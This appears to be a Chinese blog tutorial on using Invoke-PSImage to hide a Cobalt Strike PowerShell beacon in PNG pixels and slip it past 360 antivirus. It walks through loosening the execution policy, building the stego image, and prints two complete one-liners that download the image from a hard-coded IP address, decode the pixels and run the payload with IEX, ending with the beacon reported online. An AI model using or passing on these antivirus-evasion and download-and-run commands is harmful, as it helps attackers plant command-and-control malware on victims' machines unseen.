Invoke-PSImage免杀过360杀毒

Invoke-PSImage可以将一个Powershell脚本的字节嵌入到PNG图像文件的像素当中，并生成一行执行命令来帮助我们从文件或web（传递-web标记）执行它们。它会利用图片中的每个像素点最后4位有效位的2个颜色值来储存Payload数据，虽然图片的质量会受到影响，但是一般来说是看不到太大区别。图片需要存储为PNG格式，由于payload数据存储在颜色值中，因此这种格式进行无损压缩并且不会影响到payload的执行，它可以接受目前绝大多数类型的图片类型进行输入，但输出必须是PNG格式，因此输出的图片数据需要是无损的。

图片的每一个像素都需要存储脚本的一个字节，所以你需要根据脚本中的字节数据大小来选择图片（尽可能多的像素点）。例如，Invoke-Mimikatz需要一张1920x1200 的图片来存储

查看本地组策略是否允许执行脚本

Get-ExecutionPolicy

如果回显是受限制

那么需要用管理员身份启动powershell，修改本地组策略

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned 

然后先用cs生成一个powershell

在Invoke-PSImage目录下打开powershell窗口，输入

Import-Module .\Invoke-PSImage.ps1 Invoke-PSImage -Script .\beacon.ps1 -Image .\0030.jpg -Out .\test2.png -Web

生成命令

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://111.229.19.199:5656/test2.png"));$o=a Byte[] 372215;(0..492)|%{foreach($x in(0..754)){$p=$g.GetPixel($x,$_);$o[$_*755+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..372037]))

把其中的example.com换成图片的下载链接

执行，但是我这里报错了

应该是图片选择的不合适，

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://111.229.19.199:5656/test2.png"));$o=a Byte[] 372136;(0..256)|%{foreach($x in(0..1447)){$p=$g.GetPixel($x,$_);$o[$_*1448+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..372037]))

上线成功